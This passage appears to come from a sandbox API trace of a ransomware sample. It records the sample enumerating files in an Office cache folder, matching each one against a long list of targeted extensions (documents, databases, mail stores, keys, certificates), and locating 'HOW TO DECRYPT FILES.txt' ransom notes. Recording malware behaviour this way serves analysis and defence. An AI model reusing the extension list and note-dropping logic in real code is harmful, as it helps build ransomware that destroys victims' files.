lstrlenA (lpString="*.qbj") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.ofx") returned 0 [0057.612] lstrlenA (lpString="*.ofx") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.qif") returned 0 [0057.612] lstrlenA (lpString="*.qif") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mye") returned 0 [0057.612] lstrlenA (lpString="*.mye") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mbox") returned 0 [0057.612] lstrlenA (lpString="*.mbox") returned 6 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.eml") returned 0 [0057.612] lstrlenA (lpString="*.eml") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.pst") returned 0 [0057.612] lstrlenA (lpString="*.pst") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.ost") returned 0 [0057.612] lstrlenA (lpString="*.ost") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.idx") returned 0 [0057.612] lstrlenA (lpString="*.idx") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.dbx") returned 0 [0057.612] lstrlenA (lpString="*.dbx") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.sql") returned 0 [0057.612] lstrlenA (lpString="*.sql") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mdb") returned 0 [0057.612] lstrlenA (lpString="*.mdb") returned 5 [0057.612] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.fdb") returned 0 [0057.612] lstrlenA (lpString="*.fdb") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.wab") returned 0 [0057.613] lstrlenA (lpString="*.wab") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.dat") returned 0 [0057.613] lstrlenA (lpString="*.dat") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.txt") returned 0 [0057.613] lstrlenA (lpString="*.txt") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.jpeg") returned 0 [0057.613] lstrlenA (lpString="*.jpeg") returned 6 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.jpg") returned 0 [0057.613] lstrlenA (lpString="*.jpg") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.png") returned 0 [0057.613] lstrlenA (lpString="*.png") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.php") returned 0 [0057.613] lstrlenA (lpString="*.php") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.cs") returned 0 [0057.613] lstrlenA (lpString="*.cs") returned 4 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.cpp") returned 0 [0057.613] lstrlenA (lpString="*.cpp") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.rar") returned 0 [0057.613] lstrlenA (lpString="*.rar") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.zip") returned 0 [0057.613] lstrlenA (lpString="*.zip") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.html") returned 0 [0057.613] lstrlenA (lpString="*.html") returned 6 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.htm") returned 0 [0057.613] lstrlenA (lpString="*.htm") returned 5 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.xlsx") returned 0 [0057.613] lstrlenA (lpString="*.xlsx") returned 6 [0057.613] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.xls") returned 0 [0057.614] lstrlenA (lpString="*.xls") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mp4") returned 0 [0057.614] lstrlenA (lpString="*.mp4") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.ppt") returned 0 [0057.614] lstrlenA (lpString="*.ppt") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.pptx") returned 0 [0057.614] lstrlenA (lpString="*.pptx") returned 6 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.doc") returned 0 [0057.614] lstrlenA (lpString="*.doc") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.dot") returned 0 [0057.614] lstrlenA (lpString="*.dot") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.docx") returned 0 [0057.614] lstrlenA (lpString="*.docx") returned 6 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.7z") returned 0 [0057.614] lstrlenA (lpString="*.7z") returned 4 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.tar") returned 0 [0057.614] lstrlenA (lpString="*.tar") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.bz2") returned 0 [0057.614] lstrlenA (lpString="*.bz2") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.gz") returned 0 [0057.614] lstrlenA (lpString="*.gz") returned 4 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mkv") returned 0 [0057.614] lstrlenA (lpString="*.mkv") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.eml") returned 0 [0057.614] lstrlenA (lpString="*.eml") returned 5 [0057.614] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.msg") returned 0 [0057.614] lstrlenA (lpString="*.msg") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.edb") returned 0 [0057.615] lstrlenA (lpString="*.edb") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.accdb") returned 0 [0057.615] lstrlenA (lpString="*.accdb") returned 7 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.odb") returned 0 [0057.615] lstrlenA (lpString="*.odb") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.java") returned 0 [0057.615] lstrlenA (lpString="*.java") returned 6 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.asm") returned 0 [0057.615] lstrlenA (lpString="*.asm") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.pfx") returned 0 [0057.615] lstrlenA (lpString="*.pfx") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.pem") returned 0 [0057.615] lstrlenA (lpString="*.pem") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.p12") returned 0 [0057.615] lstrlenA (lpString="*.p12") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.gpg") returned 0 [0057.615] lstrlenA (lpString="*.gpg") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.vsd") returned 0 [0057.615] lstrlenA (lpString="*.vsd") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.odg") returned 0 [0057.615] lstrlenA (lpString="*.odg") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.raw") returned 0 [0057.615] lstrlenA (lpString="*.raw") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.nef") returned 0 [0057.615] lstrlenA (lpString="*.nef") returned 5 [0057.615] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.svg") returned 0 [0057.616] lstrlenA (lpString="*.svg") returned 5 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.psd") returned 0 [0057.616] lstrlenA (lpString="*.psd") returned 5 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.vmx") returned 0 [0057.616] lstrlenA (lpString="*.vmx") returned 5 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.vmdk") returned 0 [0057.616] lstrlenA (lpString="*.vmdk") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.vdi") returned 0 [0057.616] lstrlenA (lpString="*.vdi") returned 5 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.lay6") returned 0 [0057.616] lstrlenA (lpString="*.lay6") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mpeg") returned 0 [0057.616] lstrlenA (lpString="*.mpeg") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.djvu") returned 0 [0057.616] lstrlenA (lpString="*.djvu") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.tiff") returned 0 [0057.616] lstrlenA (lpString="*.tiff") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.backup") returned 0 [0057.616] lstrlenA (lpString="*.backup") returned 8 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.pdf") returned 0 [0057.616] lstrlenA (lpString="*.pdf") returned 5 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.cert") returned 0 [0057.616] lstrlenA (lpString="*.cert") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.docm") returned 0 [0057.616] lstrlenA (lpString="*.docm") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.xlsm") returned 0 [0057.616] lstrlenA (lpString="*.xlsm") returned 6 [0057.616] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.dwg") returned 0 [0057.617] lstrlenA (lpString="*.dwg") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.nd") returned 0 [0057.617] lstrlenA (lpString="*.nd") returned 4 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.tlg") returned 0 [0057.617] lstrlenA (lpString="*.tlg") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.lgb") returned 0 [0057.617] lstrlenA (lpString="*.lgb") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mov") returned 0 [0057.617] lstrlenA (lpString="*.mov") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.xdw") returned 0 [0057.617] lstrlenA (lpString="*.xdw") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.ods") returned 0 [0057.617] lstrlenA (lpString="*.ods") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.wav") returned 0 [0057.617] lstrlenA (lpString="*.wav") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.mp3") returned 0 [0057.617] lstrlenA (lpString="*.mp3") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.aiff") returned 0 [0057.617] lstrlenA (lpString="*.aiff") returned 6 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.flac") returned 0 [0057.617] lstrlenA (lpString="*.flac") returned 6 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.m4a") returned 0 [0057.617] lstrlenA (lpString="*.m4a") returned 5 [0057.617] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", pszSpec="*.csv") returned 0 [0057.617] lstrlenA (lpString="*.csv") returned 5 [0057.617] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x4f93b8, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0057.617] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.617] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PowerPointMUI.xml") returned -1 [0057.618] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PowerPointMUI.xml") returned -1 [0057.618] lstrcmpiA (lpString1="", lpString2="PowerPointMUI.xml") returned -1 [0057.618] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned="PowerPointMUI.msi" [0057.618] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0057.618] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="" [0057.618] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.618] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.618] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="PowerPointMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.ems") returned 0 [0057.618] lstrlenA (lpString="*.ems") returned 5 [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.db") returned 0 [0057.618] lstrlenA (lpString="*.db") returned 4 [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.dbf") returned 0 [0057.618] lstrlenA (lpString="*.dbf") returned 5 [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.myox") returned 0 [0057.618] lstrlenA (lpString="*.myox") returned 6 [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.myo") returned 0 [0057.618] lstrlenA (lpString="*.myo") returned 5 [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qbw") returned 0 [0057.618] lstrlenA (lpString="*.qbw") returned 5 [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qbb") returned 0 [0057.618] lstrlenA (lpString="*.qbb") returned 5 [0057.618] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qbm") returned 0 [0057.619] lstrlenA (lpString="*.qbm") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qbo") returned 0 [0057.619] lstrlenA (lpString="*.qbo") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qbx") returned 0 [0057.619] lstrlenA (lpString="*.qbx") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qba") returned 0 [0057.619] lstrlenA (lpString="*.qba") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qby") returned 0 [0057.619] lstrlenA (lpString="*.qby") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qbj") returned 0 [0057.619] lstrlenA (lpString="*.qbj") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.ofx") returned 0 [0057.619] lstrlenA (lpString="*.ofx") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.qif") returned 0 [0057.619] lstrlenA (lpString="*.qif") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mye") returned 0 [0057.619] lstrlenA (lpString="*.mye") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mbox") returned 0 [0057.619] lstrlenA (lpString="*.mbox") returned 6 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.eml") returned 0 [0057.619] lstrlenA (lpString="*.eml") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.pst") returned 0 [0057.619] lstrlenA (lpString="*.pst") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.ost") returned 0 [0057.619] lstrlenA (lpString="*.ost") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.idx") returned 0 [0057.619] lstrlenA (lpString="*.idx") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.dbx") returned 0 [0057.619] lstrlenA (lpString="*.dbx") returned 5 [0057.619] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.sql") returned 0 [0057.620] lstrlenA (lpString="*.sql") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mdb") returned 0 [0057.620] lstrlenA (lpString="*.mdb") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.fdb") returned 0 [0057.620] lstrlenA (lpString="*.fdb") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.wab") returned 0 [0057.620] lstrlenA (lpString="*.wab") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.dat") returned 0 [0057.620] lstrlenA (lpString="*.dat") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.txt") returned 0 [0057.620] lstrlenA (lpString="*.txt") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.jpeg") returned 0 [0057.620] lstrlenA (lpString="*.jpeg") returned 6 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.jpg") returned 0 [0057.620] lstrlenA (lpString="*.jpg") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.png") returned 0 [0057.620] lstrlenA (lpString="*.png") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.php") returned 0 